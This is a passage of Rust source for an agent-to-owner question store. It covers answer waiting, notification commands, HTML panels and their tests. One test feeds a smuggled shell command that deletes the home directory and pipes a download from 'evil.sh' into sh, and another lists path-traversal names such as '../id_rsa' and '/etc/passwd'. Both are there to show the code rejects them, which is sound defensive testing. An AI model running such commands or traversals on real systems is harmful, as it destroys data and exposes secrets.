1720 match done {
1721 Ok((fresh, ())) => *q = fresh,
1722 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1723 }
1724}
1725
1726pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1730 let says = q.undelivered_owner_turns();
1731 if says.is_empty() {
1732 return answer.to_owned();
1733 }
1734 format!(
1735 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1736 says.join("\n\n")
1737 )
1738}
1739
1740pub fn deliver_answer(
1743 store: &Questions,
1744 q: &mut Question,
1745 answer: &str,
1746 out: &mut impl std::io::Write,
1747) -> std::io::Result<()> {
1748 writeln!(out, "{}", answer_for_agent(q, answer))?;
1749 out.flush()?;
1750 hand_over(store, q);
1751 Ok(())
1752}
1753
1754async fn wait_loop(
1764 q: &mut Question,
1765 store: &Questions,
1766 timeout: Duration,
1767 slice: Duration,
1768 poll: Duration,
1769) -> Result<Wait> {
1770 if let Some(said) = q.unread_from_owner() {
1780 return Ok(Wait::Replied(said));
1781 }
1782 hold(store, &q.id);
1783
1784 let bounded = timeout.min(slice);
1785 let is_the_real_deadline = bounded >= timeout;
1786 let deadline = tokio::time::Instant::now() + bounded;
1787 loop {
1788 let now = tokio::time::Instant::now();
1789 if now >= deadline {
1790 if !is_the_real_deadline {
1791 return Ok(Wait::Pending);
1795 }
1796 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1797 let (fresh, unread) = store
1801 .update(&q.id, |r| {
1802 let unread = r.unread_from_owner();
1803 if unread.is_none() {
1804 r.abandon(&why);
1805 r.waiter = None;
1806 }
1807 Ok(unread)
1808 })
1809 .context("record the abandoned question")?;
1810 *q = fresh;
1811 if let Some(said) = unread {
1812 return Ok(Wait::Replied(said));
1813 }
1814 tracing::warn!(
1815 "question {} went unanswered for {}s; the run parks and the \
1816 question stays as the record of it",
1817 q.short(),
1818 timeout.as_secs()
1819 );
1820 return Ok(Wait::Abandoned);
1821 }
1822 tokio::time::sleep(poll.min(deadline - now)).await;
1823 store.beat(&q.id, WaiterKind::Asker);
1824 match store.get(&q.id) {
1825 Ok(fresh) if !fresh.status.open() => {
1826 *q = fresh;
1830 return Ok(match q.resolution() {
1831 Some(a) => Wait::Answered(a),
1832 None => Wait::Abandoned,
1835 });
1836 }
1837 Ok(fresh) => {
1838 if let Some(said) = fresh.unread_from_owner() {
1839 *q = fresh;
1840 return Ok(Wait::Replied(said));
1841 }
1842 }
1845 Err(e) => {
1846 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1850 }
1851 }
1852 }
1853}
1854
1855pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1866 notify_text(cmd, &q.run, &q.summary).await
1867}
1868
1869pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1872 let Some((program, args)) = cmd.command.split_first() else {
1873 return Ok(());
1875 };
1876 let url = web_url();
1877 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1878 tracing::warn!(
1879 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1880 so the link will be empty - export it next to `magi serve` with \
1881 the address `magi web --open` printed"
1882 );
1883 }
1884 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1885 tracing::debug!(program = %program, args = ?argv, "notifying");
1886
1887 let mut child = tokio::process::Command::new(program);
1888 child.quiet();
1889 child
1890 .args(&argv)
1891 .stdin(std::process::Stdio::null())
1892 .kill_on_drop(true);
1895 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1896 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1897 Err(_) => bail!(
1898 "notification command `{program}` did not finish within {}s",
1899 NOTIFY_TIMEOUT.as_secs()
1900 ),
1901 };
1902 if !out.status.success() {
1903 let stderr = String::from_utf8_lossy(&out.stderr);
1904 let why = stderr
1905 .lines()
1906 .rev()
1907 .find(|l| !l.trim().is_empty())
1908 .unwrap_or("no output on stderr")
1909 .trim();
1910 bail!(
1911 "notification command `{program}` exited with {}: {why}",
1912 out.status
1913 );
1914 }
1915 Ok(())
1916}
1917
1918fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1924 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1925 let mut out = String::with_capacity(template.len());
1926 let mut rest = template;
1927 while let Some(at) = rest.find('{') {
1928 out.push_str(&rest[..at]);
1929 let tail = &rest[at..];
1930 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1931 Some((token, value)) => {
1932 out.push_str(value);
1933 rest = &tail[token.len()..];
1934 }
1935 None => {
1936 out.push('{');
1938 rest = &tail[1..];
1939 }
1940 }
1941 }
1942 out.push_str(rest);
1943 out
1944}
1945
1946fn web_url() -> String {
1948 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1949}
1950
1951fn question_url(base: &str) -> String {
1958 let base = base.trim().trim_end_matches('/');
1959 if base.is_empty() || base.contains('#') {
1960 return base.to_owned();
1961 }
1962 format!("{base}/#/questions")
1963}
1964
1965fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1970 let index = dir.join(PANEL_HTML);
1971 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1972 for (name, src) in assets {
1973 let dst = dir.join(name);
1974 std::fs::copy(src, &dst)
1975 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1976 }
1977 Ok(())
1978}
1979
1980fn clear_dir(path: &Path) -> Result<()> {
1985 match std::fs::remove_dir_all(path) {
1986 Ok(()) => Ok(()),
1987 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1988 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1989 }
1990}
1991
1992fn read_path(path: &Path) -> Result<Question> {
1993 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1994 let q: Question =
1995 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1996 if q.schema > SCHEMA {
1997 bail!(
2002 "question {} was written by a newer magi (schema {}, this build \
2003 only speaks up to {SCHEMA})",
2004 q.id,
2005 q.schema
2006 );
2007 }
2008 Ok(q)
2009}
2010
2011pub fn short_id(id: &str) -> &str {
2013 short(id)
2014}
2015
2016fn short(id: &str) -> &str {
2017 id.split('-').next_back().unwrap_or(id)
2018}
2019
2020fn new_id() -> String {
2021 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2022 let seed = crate::rng::entropy();
2023 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2024}
2025
2026#[cfg(test)]
2027mod tests {
2028 use super::*;
2029
2030 fn store() -> (tempfile::TempDir, Questions) {
2033 let dir = tempfile::tempdir().unwrap();
2034 let s = Questions::at(dir.path().join("questions"));
2035 (dir, s)
2036 }
2037
2038 #[test]
2039 fn run_names_task_only_for_task_questions() {
2040 for (node, want) in [
2041 (crate::conduct::NODE, true),
2042 (crate::triage::NODE, true),
2043 (crate::triage::DEPS_NODE, true),
2044 (crate::land::APPROVAL_NODE, false),
2045 (crate::bump::NOTICE_NODE, false),
2046 ("implement", false),
2047 ] {
2048 let mut q = choice_question();
2049 q.node = node.to_owned();
2050 assert_eq!(q.run_names_task(), want, "{node}");
2051 }
2052 }
2053
2054 #[test]
2055 fn deleting_a_run_stops_its_questions_asking() {
2056 let (_dir, store) = store();
2057
2058 let mut open_one = choice_question();
2059 store.put(&mut open_one).unwrap();
2060 let mut answered = free_question();
2061 answered
2062 .answer(Answer::Text("keep this".to_owned()))
2063 .unwrap();
2064 store.put(&mut answered).unwrap();
2065 let mut elsewhere = choice_question();
2066 elsewhere.run = "20260903-105039-3cbf".to_owned();
2067 store.put(&mut elsewhere).unwrap();
2068
2069 let n = store
2070 .abandon_for_run(&open_one.run, "run was deleted")
2071 .unwrap();
2072 assert_eq!(n, 1, "only the open question of that run");
2073
2074 let back = store.get(&open_one.id).unwrap();
2075 assert!(!back.status.open(), "it no longer asks for a decision");
2076 assert!(
2077 back.detail.contains("run was deleted"),
2078 "the operator can see why: {}",
2079 back.detail
2080 );
2081
2082 let kept = store.get(&answered.id).unwrap();
2083 assert_eq!(
2084 kept.status,
2085 QuestionStatus::Answered,
2086 "an answered question is a decision on record, not something to revoke"
2087 );
2088 assert!(
2089 store.get(&elsewhere.id).unwrap().status.open(),
2090 "another run's question is untouched"
2091 );
2092 assert!(store.open_for(&open_one.run).is_empty());
2093 }
2094
2095 #[test]
2096 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2097 let (_dir, store) = store();
2098 let mut q = choice_question();
2099 store.put(&mut q).unwrap();
2100
2101 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2103 assert_eq!(n, 0);
2104 assert!(store.get(&q.id).unwrap().status.open());
2105
2106 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2109 assert_eq!(n, 1);
2110 let back = store.get(&q.id).unwrap();
2111 assert!(!back.status.open());
2112 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2113
2114 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2116 }
2117
2118 fn choice_question() -> Question {
2119 Question::new(
2120 "20260902-201256-9fb7".to_owned(),
2121 "implement".to_owned(),
2122 "impl-A".to_owned(),
2123 "Which storage backend should the cache use?".to_owned(),
2124 "Both are already dependencies.".to_owned(),
2125 vec!["SQLite".to_owned(), "Redis".to_owned()],
2126 )
2127 }
2128
2129 fn free_question() -> Question {
2130 Question::new(
2131 "20260902-201256-9fb7".to_owned(),
2132 "review".to_owned(),
2133 "rev-1".to_owned(),
2134 "What should the error message say?".to_owned(),
2135 String::new(),
2136 Vec::new(),
2137 )
2138 }
2139
2140 fn quiet() -> config::Notify {
2142 config::Notify::default()
2143 }
2144
2145 #[test]
2146 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2147 let mut q = choice_question();
2151 q.id = "20260902-231501-ab12".to_owned();
2152 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2153 let keys: Vec<&str> = open
2157 .as_object()
2158 .unwrap()
2159 .keys()
2160 .map(String::as_str)
2161 .collect();
2162 assert_eq!(
2163 keys,
2164 [
2165 "actions",
2166 "answer",
2167 "answer_delivered",
2168 "answer_timeout",
2169 "answered_at",
2170 "asked_at",
2171 "assets",
2172 "choices",
2173 "consult",
2174 "cwd",
2175 "decision_context",
2176 "delivered_turns",
2177 "deputy",
2178 "detail",
2179 "id",
2180 "merge_target",
2181 "node",
2182 "panel",
2183 "run",
2184 "schema",
2185 "seat",
2186 "status",
2187 "summary",
2188 "thread",
2189 "triage_generation",
2190 "waiter",
2191 ],
2192 "the on-disk field set is a contract with the front end"
2193 );
2194 assert_eq!(open["schema"], 11);
2195 assert_eq!(open["merge_target"], serde_json::Value::Null);
2196 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2197 assert_eq!(open["thread"], serde_json::json!([]));
2198 assert_eq!(open["id"], "20260902-231501-ab12");
2199 assert_eq!(open["run"], "20260902-201256-9fb7");
2200 assert_eq!(open["node"], "implement");
2201 assert_eq!(open["seat"], "impl-A");
2202 assert_eq!(open["status"], "open");
2203 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2204 assert_eq!(open["answered_at"], serde_json::Value::Null);
2205 assert_eq!(open["answer"], serde_json::Value::Null);
2206 let asked = open["asked_at"].as_str().unwrap();
2207 assert!(
2208 asked.ends_with('Z') && asked.contains('T'),
2209 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2210 );
2211
2212 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2214 let answered = serde_json::to_value(&q).unwrap();
2215 assert_eq!(answered["status"], "answered");
2216 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2217 assert!(answered["answered_at"].is_string());
2218
2219 let mut free = free_question();
2221 free.answer(Answer::Text("Say which file it was".to_owned()))
2222 .unwrap();
2223 assert_eq!(
2224 serde_json::to_value(&free).unwrap()["answer"],
2225 serde_json::json!({"text": "Say which file it was"})
2226 );
2227
2228 let body = serde_json::to_string(&q).unwrap();
2230 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2231 }
2232
2233 #[test]
2234 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2235 let (_dir, store) = store();
2236 let mut q = approval_question();
2237 q.merge_target = Some(crate::merge_decision::Target {
2238 pr: "https://github.com/example/repo/pull/42".into(),
2239 head: "reviewed-head".into(),
2240 language: "ja".into(),
2241 });
2242 store.put(&mut q).unwrap();
2243 let saved = store.get(&q.id).unwrap();
2244 assert_eq!(saved, q);
2245 let mut body = serde_json::to_value(&saved).unwrap();
2246 assert_eq!(body["schema"], 11);
2247 assert_eq!(
2248 body["merge_target"],
2249 serde_json::json!({
2250 "pr": "https://github.com/example/repo/pull/42",
2251 "head": "reviewed-head",
2252 "language": "ja"
2253 })
2254 );
2255
2256 body["schema"] = serde_json::json!(10);
2259 body.as_object_mut().unwrap().remove("merge_target");
2260 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2261 let legacy = store.get(&q.id).unwrap();
2262 assert_eq!(legacy.schema, 10);
2263 assert!(legacy.merge_target.is_none());
2264 assert_eq!(legacy.choices, q.choices);
2265 assert_eq!(legacy.status, q.status);
2266 }
2267
2268 #[test]
2269 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2270 let mut unoffered = choice_question();
2273 let a = unoffered
2274 .answer(Answer::Choice("Postgres".to_owned()))
2275 .unwrap_err()
2276 .to_string();
2277
2278 let mut typed = choice_question();
2279 let b = typed
2280 .answer(Answer::Text("use Postgres".to_owned()))
2281 .unwrap_err()
2282 .to_string();
2283
2284 let mut blank = free_question();
2285 let c = blank
2286 .answer(Answer::Text(" \n".to_owned()))
2287 .unwrap_err()
2288 .to_string();
2289
2290 let mut twice = choice_question();
2291 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2292 let d = twice
2293 .answer(Answer::Choice("Redis".to_owned()))
2294 .unwrap_err()
2295 .to_string();
2296
2297 assert!(a.contains("not one of the choices"), "{a}");
2298 assert!(b.contains("multiple choice"), "{b}");
2299 assert!(c.contains("empty"), "{c}");
2300 assert!(d.contains("already answered"), "{d}");
2301 let mut distinct = vec![a, b, c, d];
2302 let asked = distinct.len();
2303 distinct.sort_unstable();
2304 distinct.dedup();
2305 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2306
2307 assert_eq!(unoffered.status, QuestionStatus::Open);
2309 assert_eq!(typed.status, QuestionStatus::Open);
2310 assert_eq!(blank.status, QuestionStatus::Open);
2311 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2313
2314 let mut free = free_question();
2316 let e = free
2317 .answer(Answer::Choice("SQLite".to_owned()))
2318 .unwrap_err()
2319 .to_string();
2320 assert!(e.contains("free text"), "{e}");
2321 }
2322
2323 #[test]
2324 fn open_questions_are_listed_before_answered_ones() {
2325 let (_dir, s) = store();
2326 let mut old_open = choice_question();
2329 old_open.id = "20260101-000001-aaaa".to_owned();
2330 let mut new_open = choice_question();
2331 new_open.id = "20260101-000002-bbbb".to_owned();
2332 let mut answered = choice_question();
2333 answered.id = "20260101-000003-cccc".to_owned();
2334 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2335 for q in [&mut old_open, &mut new_open, &mut answered] {
2336 s.put(q).unwrap();
2337 }
2338
2339 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2340 assert_eq!(
2341 ids,
2342 [
2343 "20260101-000002-bbbb",
2344 "20260101-000001-aaaa",
2345 "20260101-000003-cccc"
2346 ],
2347 "what has stopped work comes first; history sorts underneath"
2348 );
2349 assert_eq!(s.count_open(), 2);
2350 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2351 assert!(s.open_for("some-other-run").is_empty());
2352 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2354 assert!(s.get("20260101-000002-bbbb").is_ok());
2355 assert!(s.resolve_id("nope").is_err());
2356 assert!(
2357 s.revision() > 0,
2358 "the store's mtime drives the phone's polling"
2359 );
2360 }
2361
2362 #[test]
2363 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2364 let (_dir, s) = store();
2365 let mut good = choice_question();
2366 s.put(&mut good).unwrap();
2367 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2369 let future = serde_json::json!({
2370 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2371 "seat": "s", "summary": "?", "detail": "", "choices": [],
2372 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2373 "answered_at": null, "answer": null,
2374 });
2375 std::fs::write(
2376 s.path_of("20260101-000010-beef"),
2377 serde_json::to_string(&future).unwrap(),
2378 )
2379 .unwrap();
2380
2381 let listed = s.list();
2382 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2383 assert_eq!(listed[0].id, good.id);
2384 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2386 assert!(e.contains("schema"), "{e}");
2387 }
2388
2389 #[tokio::test]
2390 async fn the_wait_returns_the_answer_another_process_wrote() {
2391 let (dir, s) = store();
2396 let mut q = choice_question();
2397 let id = q.id.clone();
2398 let writer = Questions::at(dir.path().join("questions"));
2399 let handle = tokio::spawn(async move {
2400 tokio::time::sleep(Duration::from_millis(30)).await;
2401 let mut fresh = writer.get(&id).expect("the question was filed first");
2402 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2403 writer.put(&mut fresh).unwrap();
2404 });
2405
2406 let got = wait_for_owner(
2407 &mut q,
2408 &s,
2409 &quiet(),
2410 Duration::from_secs(5),
2411 Duration::from_millis(10),
2412 )
2413 .await
2414 .unwrap();
2415
2416 handle.await.unwrap();
2417 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2418 assert_eq!(
2419 q.status,
2420 QuestionStatus::Answered,
2421 "the caller's copy is refreshed from the answering process's record"
2422 );
2423 assert!(q.answered_at.is_some());
2424 }
2425
2426 #[tokio::test]
2427 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2428 let (_dir, s) = store();
2429 let mut q = choice_question();
2430
2431 let got = wait_for_owner(
2432 &mut q,
2433 &s,
2434 &quiet(),
2435 Duration::from_millis(60),
2436 Duration::from_millis(10),
2437 )
2438 .await
2439 .unwrap();
2440
2441 assert_eq!(
2442 got,
2443 Wait::Abandoned,
2444 "a slow human is not an error; the run parks"
2445 );
2446 assert_eq!(q.status, QuestionStatus::Abandoned);
2447 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2448 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2449 assert!(
2450 on_disk.detail.contains("Abandoned:"),
2451 "why nobody answered belongs with the question: {}",
2452 on_disk.detail
2453 );
2454 assert!(on_disk.resolution().is_none());
2455 assert_eq!(s.count_open(), 0);
2456 }
2457
2458 #[tokio::test]
2459 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2460 let (_dir, s) = store();
2465 let mut q = choice_question();
2466 s.put(&mut q).unwrap();
2467
2468 let got = wait_loop(
2469 &mut q,
2470 &s,
2471 Duration::from_secs(3600),
2472 Duration::from_millis(30),
2473 Duration::from_millis(10),
2474 )
2475 .await
2476 .unwrap();
2477
2478 assert_eq!(
2479 got,
2480 Wait::Pending,
2481 "the clock on this call ran out, not the owner's patience"
2482 );
2483 assert_eq!(
2484 q.status,
2485 QuestionStatus::Open,
2486 "a slice expiring must never abandon the question"
2487 );
2488 let on_disk = s.get(&q.id).expect("still on disk, still open");
2489 assert_eq!(
2490 on_disk.status,
2491 QuestionStatus::Open,
2492 "nothing about the record changed just because this call gave up"
2493 );
2494 }
2495
2496 #[tokio::test]
2497 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2498 let (dir, s) = store();
2503 let mut q = choice_question();
2504 s.put(&mut q).unwrap();
2505
2506 let first = wait_loop(
2507 &mut q,
2508 &s,
2509 Duration::from_secs(3600),
2510 Duration::from_millis(30),
2511 Duration::from_millis(10),
2512 )
2513 .await
2514 .unwrap();
2515 assert_eq!(first, Wait::Pending);
2516
2517 let id = q.id.clone();
2518 let writer = Questions::at(dir.path().join("questions"));
2519 let mut fresh = writer.get(&id).unwrap();
2520 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2521 writer.put(&mut fresh).unwrap();
2522
2523 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2528 .await
2529 .unwrap();
2530 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2531 assert_eq!(q.status, QuestionStatus::Answered);
2532 }
2533
2534 #[tokio::test]
2535 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2536 let (dir, s) = store();
2546 let mut q = choice_question();
2547 s.put(&mut q).unwrap();
2548
2549 let first = wait_loop(
2550 &mut q,
2551 &s,
2552 Duration::from_secs(3600),
2553 Duration::from_millis(30),
2554 Duration::from_millis(10),
2555 )
2556 .await
2557 .unwrap();
2558 assert_eq!(first, Wait::Pending);
2559
2560 let id = q.id.clone();
2562 let writer = Questions::at(dir.path().join("questions"));
2563 let mut fresh = writer.get(&id).unwrap();
2564 fresh.say("why not Postgres?").unwrap();
2565 writer.put(&mut fresh).unwrap();
2566
2567 let mut resumed = s.get(&id).unwrap();
2571 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2572 .await
2573 .unwrap();
2574 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2575 assert_eq!(
2576 resumed.status,
2577 QuestionStatus::Open,
2578 "talking back is not a decision; the question stays open"
2579 );
2580 }
2581
2582 #[tokio::test]
2583 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2584 let (dir, s) = store();
2588 let broken = config::Notify {
2589 command: vec![
2590 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2591 "{summary}".to_owned(),
2592 ],
2593 };
2594 let mut q = choice_question();
2595 assert!(
2596 notify(&broken, &q).await.is_err(),
2597 "the caller is told; it decides that it does not matter"
2598 );
2599
2600 let id = q.id.clone();
2601 let writer = Questions::at(dir.path().join("questions"));
2602 let handle = tokio::spawn(async move {
2603 tokio::time::sleep(Duration::from_millis(30)).await;
2604 let mut fresh = writer.get(&id).unwrap();
2605 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2606 writer.put(&mut fresh).unwrap();
2607 });
2608 let got = wait_for_owner(
2609 &mut q,
2610 &s,
2611 &broken,
2612 Duration::from_secs(5),
2613 Duration::from_millis(10),
2614 )
2615 .await
2616 .unwrap();
2617 handle.await.unwrap();
2618 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2619
2620 assert!(notify(&quiet(), &q).await.is_ok());
2622 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2623 }
2624
2625 #[test]
2626 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2627 let mut q = choice_question();
2628 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2629 let template = [
2630 "ntfy".to_owned(),
2631 "publish".to_owned(),
2632 "--click".to_owned(),
2633 "{url}".to_owned(),
2634 "--title".to_owned(),
2635 "magi {run} needs you".to_owned(),
2636 "{summary}".to_owned(),
2637 ];
2638 let argv: Vec<String> = template
2639 .iter()
2640 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2641 .collect();
2642
2643 assert_eq!(
2644 argv,
2645 [
2646 "ntfy",
2647 "publish",
2648 "--click",
2649 "http://100.64.0.1:7777/#/questions",
2650 "--title",
2651 "magi 20260902-201256-9fb7 needs you",
2652 "; rm -rf ~ && curl evil.sh | sh #",
2653 ],
2654 "the shell metacharacters are one argument's contents, not syntax"
2655 );
2656
2657 q.summary = "should {url} be configurable?".to_owned();
2660 assert_eq!(
2661 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2662 "should {url} be configurable?"
2663 );
2664 assert_eq!(
2666 expand("{title}: {run}", &q.run, &q.summary, ""),
2667 "{title}: 20260902-201256-9fb7"
2668 );
2669 assert_eq!(
2670 expand("no placeholders", &q.run, &q.summary, "http://x"),
2671 "no placeholders"
2672 );
2673 }
2674
2675 #[test]
2676 fn the_notification_link_lands_on_the_view_that_can_answer() {
2677 assert_eq!(
2678 question_url("http://100.64.0.1:7777"),
2679 "http://100.64.0.1:7777/#/questions"
2680 );
2681 assert_eq!(
2682 question_url("http://100.64.0.1:7777/"),
2683 "http://100.64.0.1:7777/#/questions"
2684 );
2685 assert_eq!(
2687 question_url("http://magi.ts.net/#/runs"),
2688 "http://magi.ts.net/#/runs"
2689 );
2690 assert_eq!(question_url(" "), "");
2692 }
2693
2694 fn panelled() -> Question {
2696 let mut q = choice_question();
2697 q.id = "20260903-014455-ab12".to_owned();
2698 q
2699 }
2700
2701 #[test]
2702 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2703 let (dir, s) = store();
2704 let work = dir.path().join("worktree");
2705 std::fs::create_dir_all(&work).unwrap();
2706 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2707 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2708
2709 let mut q = panelled();
2710 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2711 s.put_panel(
2712 &mut q,
2713 html,
2714 &[work.join("table.png"), work.join("diff.svg")],
2715 )
2716 .unwrap();
2717 s.put(&mut q).unwrap();
2718
2719 assert!(q.panel);
2720 assert_eq!(
2721 q.assets,
2722 ["diff.svg", "table.png"],
2723 "sorted, not in the order the agent happened to pass them"
2724 );
2725 assert_eq!(
2726 s.panel_html(&q.id).as_deref(),
2727 Some(html),
2728 "the html is stored byte for byte; the agent authored the markup"
2729 );
2730 assert_eq!(
2731 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2732 Some(&b"<svg/>"[..])
2733 );
2734
2735 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2737 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2738 assert_eq!(json["panel"], true);
2739 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2740 let back = s.get(&q.id).unwrap();
2741 assert!(back.panel);
2742 assert_eq!(back.assets, q.assets);
2743
2744 std::fs::remove_dir_all(&work).unwrap();
2747 assert_eq!(
2748 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2749 Some(&b"\x89PNG"[..]),
2750 "a referenced asset would be gone with the worktree"
2751 );
2752 }
2753
2754 #[test]
2755 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2756 let (dir, s) = store();
2757 let mut q = panelled();
2758 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2759 s.put(&mut q).unwrap();
2760
2761 let secret = "this must never reach the browser";
2764 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2765 assert_eq!(
2766 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2767 secret,
2768 "the traversal is real: the operating system resolves this path \
2769 happily, which is why the name has to be refused before the join"
2770 );
2771
2772 let long = "x".repeat(200);
2773 for name in [
2774 "..",
2775 "../id_rsa",
2776 "..\\id_rsa",
2777 "sub/../id_rsa",
2778 "/",
2779 "\\",
2780 "/etc/passwd",
2781 "C:\\Windows\\win.ini",
2782 "",
2783 ".hidden",
2784 ".",
2785 long.as_str(),
2786 ] {
2787 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2788 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2789 assert!(
2790 e.contains("not a panel file name"),
2791 "`{name}` must be refused as a name, not attempted: {e}"
2792 );
2793 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2794 }
2795 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2798
2799 let hidden = dir.path().join(".hidden");
2802 std::fs::write(&hidden, "x").unwrap();
2803 let e = s
2804 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2805 .unwrap_err()
2806 .to_string();
2807 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2808 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2809 assert!(q.assets.is_empty());
2810 }
2811
2812 #[test]
2813 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2814 let (dir, s) = store();
2815 let mut q = panelled();
2816 s.put(&mut q).unwrap();
2817
2818 let big = dir.path().join("recording.png");
2821 std::fs::File::create(&big)
2822 .unwrap()
2823 .set_len(PANEL_MAX_BYTES)
2824 .unwrap();
2825
2826 let html = "<p>see the recording</p>";
2827 let total = PANEL_MAX_BYTES + html.len() as u64;
2828 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2829 assert!(
2830 e.contains(&PANEL_MAX_BYTES.to_string()),
2831 "the cap is named so the agent knows the limit: {e}"
2832 );
2833 assert!(
2834 e.contains(&total.to_string()),
2835 "the actual size is named so the agent knows by how much: {e}"
2836 );
2837
2838 assert!(!q.panel);
2839 assert!(q.assets.is_empty());
2840 let left: Vec<String> = std::fs::read_dir(s.root())
2841 .unwrap()
2842 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2843 .collect();
2844 assert_eq!(
2845 left,
2846 [format!("{}.json", q.id)],
2847 "a refused panel leaves neither a directory nor scratch: {left:?}"
2848 );
2849 }
2850
2851 #[test]
2852 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2853 let (dir, s) = store();
2854 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2855 std::fs::create_dir_all(&before).unwrap();
2856 std::fs::create_dir_all(&after).unwrap();
2857 std::fs::write(before.join("diff.png"), "before").unwrap();
